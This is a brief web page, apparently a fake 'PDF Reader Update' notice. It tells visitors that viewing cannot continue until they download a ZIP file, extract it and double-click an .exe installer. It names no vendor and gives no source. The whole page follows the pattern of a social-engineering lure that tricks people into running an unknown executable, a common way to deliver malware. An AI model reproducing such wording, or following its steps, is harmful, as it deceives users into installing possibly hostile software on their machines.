

## PDF Reader Update

Your PDF reader needs to be updated before you can continue viewing PDF documents.

Please download the ZIP file, extract it, and run the PDF installer to complete the update.

1

### Download the ZIP file

Save the update ZIP file to your computer.

2

### Extract the ZIP file

Right-click the ZIP file and choose "Extract All" (or unzip it).

3

### Run the PDF installer

Open the extracted folder and double-click the PDF installer (.exe).

4

### Complete the update

Follow the installer prompts until the update finishes.
